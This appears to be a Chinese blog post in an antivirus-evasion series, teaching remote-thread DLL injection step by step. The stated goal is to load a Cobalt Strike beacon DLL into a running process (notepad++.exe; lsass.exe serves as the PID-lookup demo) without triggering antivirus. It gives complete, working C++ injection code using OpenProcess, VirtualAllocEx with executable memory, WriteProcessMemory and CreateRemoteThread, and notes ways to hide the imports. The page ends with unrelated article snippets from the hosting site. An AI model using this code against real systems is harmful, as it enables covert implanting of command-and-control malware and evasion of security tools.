免杀笔记 ----> DLL注入

news2024/11/18 10:57:09

这段时间我们暂时没什么事情干的话我们就继续更新我们的免杀笔记力!!!

   :今天我们讲DLL注入

目录

1.DLL注入

2.直接加载DLL?

3.远程线程注入

获取Handle

远程申请内存空间

将我们的CS的DLL加载入内存

创建远程线程,Load上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

4.GetProcessPID

5.打开空间

6.申请远程内存

7.CS上线DLL写入内存

8.获取LoadLibrary地址

9.创建线程

10.等待线程结束,释放DLL空间,关闭句柄

11.最终代码


1.DLL注入

DLL注入,也叫做远程线程注入!

DLL(Dynamic Link Library)注入是一种技术,它允许一个进程向另一个进程中注入一个动态链接库(DLL)。这种技术通常用于软件开发和系统管理,但也可能被恶意软件用来实现特定目的。

这里说明一个东西先,不知道大家有没有好奇过,为什么我并没有load user32.dll 却可以使用MessageBoxA这样的函数???  

那是因为我们包含了Windows.h这样的头文件(不信你试试不包含,绝对报错!)

在Windows平台上,Windows.h头文件是包含了大量Windows API的头文件之一,它会在编译时引入所有必要的声明和定义,包括user32.dll中的函数声明。

所以如果你去查看这个程序的导出表的时候,是能看得见user32.dll这个DLL的(就算你没有手动去LoadLibrary)

2.直接加载DLL?

有人就会想了,我们直接去我们自己写一个C语言,然后LoadLibrary不就好了吗!!! 

然后现实生活中也确实可以如此!!!  我们来演示一下

   先去生成一个上线DLL 

然后我们直接写一个C代码(不能让他结束,否则ShellCode的内存资源就被释放了)

其中下面的那个DLL,是我们上线的DLL

int main()
{
	LoadLibrary(L"C:\\Users\\ASUS\\Desktop\\inject.dll");
	while (1)
	{
        //DoNothing
	}
	
	return 0;
}

我们是能够成功的看见上线的

我们还可以通过Process Monitor去查看,是能看见这个DLL的

但是,有用吗,你也不看看这是一个什么程序

 :既不是UAC白名单,又没有数字签名,还直接LoadLibary,你当杀软不存在?

所以即使上面的方法是能上线的,我们也不会去这样直接加载我们的上线的DLL! 

3.远程线程注入

既然我们不想本地加载我们的DLL,那我们就只能远程加载了,因此DLL注入也被称为远程线程注入 !!!! 

那么我们应该怎么去进行远程线程注入呢???  有以下的步骤

  1. 获取进程的句柄(Handle)
  2. 远程申请内存空间
  3. 将我们的CS上线DLL加载入内存 
  4. 获取Loadlibrary的地址
  5. 创建远程线程,load上线DLL
  6. 等待远程线程结束
  7. 释放DLL空间
  8. 关闭线程句柄

下面我们来一步一步介绍一下这个过程

获取Handle

首先我们就是获取一个已经正在运行的EXE的句柄,便于我们后续去操作

远程申请内存空间

这里我们会远程申请一个内存空间

将我们的CS的DLL加载入内存

这里可能会有点迷惑,就是为什么我们需要将DLL写入我们的内存之中呢? 

其实就是因为没有RemoteLoadLibrary这样的操作,我们不能让别人的EXE直接LoadLibrary!

创建远程线程,Load上线DLL

我们不能远程LoadLibrary,但是我们可以远程创建线程去Load我们的上线DLL

等待远程线程结束,释放DLL空间,关闭线程句柄

然后就是等待远程线程结束了,释放DLL空间,关闭线程句柄

4.GetProcessPID

其实这不是一个标准的函数,是我们自己写的!! 用来通过进程名获取对应的PID

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
DWORD Ret = 0;
PROCESSENTRY32 p32;
HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
if (lpSnapshot == INVALID_HANDLE_VALUE)
{
printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
return Ret;
}
p32.dwSize = sizeof(PROCESSENTRY32);
::Process32First(lpSnapshot, &p32);
do {
if (!lstrcmp(p32.szExeFile, lpProcessName))
{
Ret = p32.th32ProcessID;
break;
}
} while (::Process32Next(lpSnapshot, &p32));
::CloseHandle(lpSnapshot);
return Ret;
}

不过运行这个函数我们还得包含一个头文件Tlhelp32.h!! 下面我们来获取一下lsass进程的PID

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
	DWORD Ret = 0;
	PROCESSENTRY32 p32;
	HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (lpSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
		return Ret;
	}
	p32.dwSize = sizeof(PROCESSENTRY32);
	::Process32First(lpSnapshot, &p32);
	do {
		if (!lstrcmp(p32.szExeFile, lpProcessName))
		{
			Ret = p32.th32ProcessID;
			break;
		}
	} while (::Process32Next(lpSnapshot, &p32));
	::CloseHandle(lpSnapshot);
	return Ret;
}

int main()
{
	cout << "Lsass进程的PID是: " << GetProcessPID(L"lsass.exe") << endl;
	
	return 0;
}

其中由于编码问题,我们的GetProcePID接受的字符串需要我们手动在他前面加上一个L

然后我们去运行查看效果

我们去cmd查看,发现也是1348

这样,我们就能获取到我们想要注入程序的PID了

5.打开空间

首先我们就要通过OpenProcess来获取我们句柄Handle

OpenProcess 是一个Windows API函数,用于打开一个已存在的进程并返回进程的句柄。通过这个句柄,可以执行一系列操作,比如读取或修改进程的内存,获取进程的信息等。

所以我们的代码就可以这么写

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);

首先OpenProcess接受三个参数,一个是对当前的进程的权限(这里我给了ALL,实际上有可能会被杀软监控),然后就是是否继承,这里我们直接写False就好了,最后一个就是该进程的PID,这里我们就用我们刚才找到的PID即可!!!

最好我们可以写一个判断圈内玩免杀的人都这样,不过也可以理解,否则运行一个EXE啥也没有,感觉有点干涩)

HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
if (OriginalProcessHandle == NULL)
{
	cout << "Get originalprocesshandle failed :(" << endl;
}
else {
	cout << "Get originalprocesshandle successfully :)" << endl;
}

6.申请远程内存

这里我们就要用到VirtualAllocEx这个函数远程申请内存空间了

DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
if (RemoteMemory == NULL)
{
	cout << "VritualAlloc Address Falied :(" << endl;
}else {
	cout << "VirtualAlloc Address successfully :)" << endl;
}

首先我们先不管那个length,我们来看看VirtualAllocEx的参数,第一个就是我们上面获取到的Handle,然后就是NULL,接着就是我们DLL路径的length,然后MEM_COMMIT和PAGE_EXECUTE_READWRITE就和普通的VirtualAlloc一样

这里我觉得有要说一下的,就是那个Length是DLL的路径长度,又应为那个长度是以两个字节在内存中存储的,所以我们要*sizeif(tchar)

这里并不是说把DLL的内容加载到了内存中,而是将DLL的路径当作副本加载入内存,方便我们后面LoadLibrary!!!

7.CS上线DLL写入内存

这里我们用WirteProcessMemory,还是先贴代码

BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
if (WriteStatus == 0)
{
	cout << "Write CS's DLL into memory failed :(" << endl;
}else
{
	cout << "Write CS's DLL into memory successfully :)" << endl;
}

第一个参数是句柄,然后就是远程的虚拟地址,然后就是我们的DLL的地址,长度,NULL

8.获取LoadLibrary地址

其实这里我们完全可以不用这一步,直接创建线程LoadLibrary,但是为了在导入表不那么明显,我们还是低配的隐藏一下(GetProcessAddress还是暴露了)

FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibrary");

这里我们用函数指针类型(FARPOC)来接收,GetProcAddress接受两个参数,一个是目标DLL的句柄,一个就是导出函数的名称!! 

那么我们既然想绕开Loadlibrary, 我们就要用GetModuleHandle来获取Kernel32的句柄,并且在Kernerl32中找到Loadlibrary这个函数,并且返回函数地址! 

9.创建线程

还是来先贴一段代码

	HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
	if (RemoteHandle == NULL)
	{
		cout << "Remote thread create failed :(" << endl;
		return;
	}else {
		cout << "Remote thread create successfully :)" << endl;
	}

CreateRemoteThread接受三个参数 ,注入程序的Handle ,NULL,0,指向线程函数的指针,即要在线程中执行的代码的入口点(需要强制类型转换!),远程申请到的地址,0,NULL

通过上面的这个代码,我们就能为远程的程序创建到一个线程!!!

10.等待线程结束,释放DLL空间,关闭句柄

这三个就没什么好说的了吧!

 //6.等待线程结束
WaitForSingleObject(RemoteHandle, -1);
 //7.释放DLL空间
VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);
 //8.关闭句柄
CloseHandle(OriginalProcessHandle);

最后就是将上面的一众API封装成为一个函数,并且传入两个参数,一个是进程的API,一个就是我们的DLL路径

void DLLInject(DWORD pid,LPCWSTR dllpath)

其中LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。

11.最终代码

然后就是我们的成品代码了!!! 

#include<iostream>
#include<tchar.h>
#include<Windows.h>
#include<Tlhelp32.h>
using namespace std;
#pragma comment(linker, "/section:.data,RWE")

DWORD GetProcessPID(LPCTSTR lpProcessName)
{
	DWORD Ret = 0;
	PROCESSENTRY32 p32;
	HANDLE lpSnapshot = ::CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS, 0);
	if (lpSnapshot == INVALID_HANDLE_VALUE)
	{
		printf("获取进程快照失败,请重试! Error:%d", ::GetLastError());
		return Ret;
	}
	p32.dwSize = sizeof(PROCESSENTRY32);
	::Process32First(lpSnapshot, &p32);
	do {
		if (!lstrcmp(p32.szExeFile, lpProcessName))
		{
			Ret = p32.th32ProcessID;
			break;
		}
	} while (::Process32Next(lpSnapshot, &p32));
	::CloseHandle(lpSnapshot);
	return Ret;
}

void DLLInject(DWORD pid,LPCWSTR dllpath)
{
	//LPCWSTR 是在 Windows 平台上用于表示“指向以 null 结尾的宽字符常量”的指针类型。
	//1.获取句柄
	HANDLE OriginalProcessHandle = OpenProcess(PROCESS_ALL_ACCESS,FALSE,pid);
	if (OriginalProcessHandle == NULL)
	{
		cout << "Get originalprocesshandle failed :(" << endl;
		return;
	}
	else {
		cout << "Get originalprocesshandle successfully :)" << endl;
	}
	//2.远程申请内存
	DWORD  length = (wcslen(dllpath) + 1) * sizeof(TCHAR);
	PVOID  RemoteMemory = VirtualAllocEx(OriginalProcessHandle, NULL, length, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
	if (RemoteMemory == NULL)
	{
		cout << "VritualAlloc Address Falied :(" << endl;
		return;
	}else {
		cout << "VirtualAlloc Address successfully :)" << endl;
	} 
	//3.将CS上线的DLL写入内存
	BOOL WriteStatus = WriteProcessMemory(OriginalProcessHandle,RemoteMemory,dllpath,length,NULL);
	if (WriteStatus == 0)
	{
		cout << "Write CS's DLL into memory failed :(" << endl;
		return;
	}else
	{
		cout << "Write CS's DLL into memory successfully :)" << endl;
	}
	//4.获取LoadLibrary地址
	FARPROC FunctionHandle = GetProcAddress(GetModuleHandle(L"kernel32.dll"), "LoadLibraryW");
	//5.创建线程
	HANDLE RemoteHandle = CreateRemoteThread(OriginalProcessHandle, NULL, 0, (LPTHREAD_START_ROUTINE)FunctionHandle, RemoteMemory,0,NULL);
	if (RemoteHandle == NULL)
	{
		cout << "Remote thread create failed :(" << endl;
		return;
	}else {
		cout << "Remote thread create successfully :)" << endl;
	}
	 //6.等待线程结束
	WaitForSingleObject(RemoteHandle, -1);
	 //7.释放DLL空间
	VirtualFreeEx(OriginalProcessHandle, RemoteMemory, length, MEM_COMMIT);
	 //8.关闭句柄
	CloseHandle(OriginalProcessHandle);
	cout << "DL1 inj&ct successfu11y !! Enj0y Hacking Time :) !" << endl;
}
 
int main()
{
	DWORD PID = GetProcessPID(L"notepad++.exe");
	DLLInject(PID, L"C:\\Users\\ASUS\\Desktop\\inject.dll");
	
	return 0;
}

这里我选择注入的是Notepad++你们当然也可以注别的,不过要注意权限噢!!! 

成果展示(记得先打开Notepad++)

当然了,我们后面再把从CMD获取DLL的路径,以及程序名字的功能完善之后,我就把他扔到Github上

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/1900310.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

C语言 | Leetcode C语言题解之第218题天际线问题

题目&#xff1a; 题解&#xff1a; struct pair {int first, second; };struct Heap {struct pair* heap;int heapSize;bool (*cmp)(struct pair*, struct pair*); };void init(struct Heap* obj, int n, bool (*cmp)(struct pair*, struct pair*)) {obj->heap malloc(si…

Midjourney对图片细微调整和下载保存

点击v2是对第二图片细微调整。 点击u3对第3张图片进行放大。 保存图片: 对点击u3放大的图片&#xff0c;双击 , 右键保存图片

antd通过监听change方法实现表格分页查询功能

<script setup> import {computed, onMounted, ref} from "vue"; import axios from "axios";const columns [{name: 姓名,dataIndex: name,key: name,},{name: 性别,dataIndex: gender,key: gender,},{title: 年龄,dataIndex: age,key: age,},{tit…

江苏徐州SAP代理商有哪些?怎么选择?

在数字化浪潮席卷全球的今天&#xff0c;企业对于高效、智能的管理系统需求日益迫切。SAP作为全球领先的企业管理软件解决方案提供商&#xff0c;其产品在市场上享有极高的声誉。而在江苏徐州&#xff0c;哲讯智能科技作为SAP的代理商&#xff0c;以其专业的技术实力和优质的服…

配置基于不同端口的虚拟主机

更改配置文件&#xff0c;添加三个不同端口的虚拟主机 <directory /www> allowoverride none require all granted </directory><virtualhost 192.168.209.136:80> documentroot /www servername 192.168.209.136 </virtualhost><virtualhost 192.…

idea中没有显示‘‘Spring‘‘一栏 (已解决)

第一步: 随便找一个Bean(即直接或者间接使用Component的类) 第二步: 找到左边的图标, 右键这个图标, 然后选择如下选项: 第三步: 成功 然后就成功了, 可以看到具体的bean了以及其bean的关系图等.

数据库-多表设计 多表查询

多表设计 一对多 一对多关系实现&#xff1a;在数据库表中多的一方&#xff0c;添加字段&#xff0c;来关联一的一方的主键 外键约束 -- 创建表时指定 create table 表名(字段名 数据类型,...[constraint] [外键名称] foreign key (外键字段名) references 主表…

InetAddress.getLocalHost().getHostAddress()阻塞导致整个微服务崩溃

InetAddress.getLocalHost().getHostAddress()阻塞导致整个微服务崩溃 import java.net.InetAddress;public class GetHostIp {public static void main(String[] args) {try {long start System.currentTimeMillis();String ipAddress InetAddress.getLocalHost().getHostA…

(一)优化算法-遗传算法

目录 前言 一、什么是遗传算法&#xff1f; &#xff08;一&#xff09;基本结构 &#xff08;二&#xff09;遗传操作 二、仿真过程 &#xff08;一&#xff09;主程序部分 &#xff08;二&#xff09;选择函数 &#xff08;三&#xff09;交叉函数 &#xff08;四&a…

2024年加密货币市场展望:L1、L2、LSD、Web3 和 GameFi 板块的全面分析与预测

随着区块链技术的快速发展&#xff0c;加密货币市场在2024年继续展现出蓬勃的生机和创新的潜力。本文将深入分析L1、L2、LSD、Web3和GameFi这五大板块的发展趋势和预测&#xff0c;帮助投资者和爱好者更好地理解和把握市场机遇。 一、L1&#xff1a;基础层协议的持续进化 L1&a…

最新全平台无人直播硬改XCMS系统,支持任何平台

软件功能: 改虚拟摄像头为真实摄像头&#xff0c;改真实麦克风&#xff0c;图层去重、镜头晃动、增加噪点去重、随机播放辅音&#xff0c;两条音轨帮助音频去重、随机音效、随机播放速度&#xff0c;直播源实时转播等等.防违规&#xff0c;防非实时 设备需求: 电脑&#xf…

万界星空科技机械加工行业MES解决方案

机械加工行业作为制造业的重要组成部分&#xff0c;面临着生产效率、成本控制和产品质量提升等多重挑战。为了应对这些挑战&#xff0c;引入并实施制造执行系统&#xff08;MES&#xff09;成为了行业的必然选择。本文将详细介绍一种针对机械加工行业的MES解决方案&#xff0c;…

IT入门知识第八部分《人工智能》(9/10)

1.引言 在当今数字化时代&#xff0c;人工智能&#xff08;AI&#xff09;和机器学习&#xff08;ML&#xff09;已成为推动技术革新的关键力量。它们不仅改变了我们与机器的互动方式&#xff0c;还极大地拓展了解决问题的可能性。本文将深入探讨人工智能和机器学习的基础&…

全新桌面编辑器

目录 前言 一、链接 ONLYOFFICE 8.1版本 官网下载链接&#xff1a; ONLYOFFICE 在线工具&#xff1a; 下载版本推荐&#xff1a; 二、使用体验 1. 界面设计&#xff1a; 2. 文档编辑功能&#xff1a; 3. 电子表格功能&#xff1a; 4. 演示文稿功能&#xff1a; 5.PDF编…

在centos7上部署mysql8.0

1.安装MySQL的话会和MariaDB的文件冲突&#xff0c;所以需要先卸载掉MariaDB。查看是否安装mariadb rpm -qa | grep mariadb 2. 卸载mariadb rpm -e --nodeps 查看到的文件名 3.下载MySQL安装包 MySQL官网下载地址: MySQL :: Download MySQL Community Serverhttps://dev.mys…

玩转Easysearch语法

Elasticsearch 是一个基于Apache Lucene的开源分布式搜索和分析引擎&#xff0c;广泛应用于全文搜索、结构化搜索、分析等多种场景。 Easysearch 作为Elasticsearch 的国产化替代方案&#xff0c;不仅保持了与原生Elasticsearch 的高度兼容性&#xff0c;还在功能、性能、稳定性…

乐清网站建设规划书

乐清是位于浙江省温州市的一个县级市&#xff0c;拥有悠久的历史和丰富的文化底蕴。随着互联网的快速发展&#xff0c;网站建设成为推动乐清经济和文化发展的重要手段。因此&#xff0c;我们认为有必要制定一个全面的乐清网站建设规划书&#xff0c;以促进乐清的经济繁荣和文化…

Banana Pi BPI-M4 Berry创建热点和设置静态IP

create_ap是一个帮助快速创建Linux上的WIFI热点的脚本&#xff0c;并且支持bridge和NAT模式&#xff0c;能够自动结合hostapd, dnsmasq和iptables完成WIFI热点的设置&#xff0c;避免了用户进行复杂的配置&#xff0c;github地址如下&#xff1a; https://github.com/oblique/…

add_metrology_object_generic 添加测量模型对象。找两条直线,并计算两条线的夹角和两个线的总长度,转换成毫米单位

*添加测量模型对象 *将测量对象添加到测量模型中 *算子参数&#xff1a; *    MeasureHandle&#xff1a;输入测量模型的句柄&#xff1b; *    Shape&#xff1a;输入要测量对象的类型&#xff1b;默认值&#xff1a;‘circle’&#xff0c;参考值&#xff1a;‘circl…

Python | Leetcode Python题解之第218题天际线问题

题目&#xff1a; 题解&#xff1a; class Solution:def getSkyline(self, buildings: List[List[int]]) -> List[List[int]]:buildings.sort(keylambda bu:(bu[0],-bu[2],bu[1]))buildings.append([inf,inf,inf])heap [[-inf,-inf,-inf]]ans []for l,r,h in buildings:i…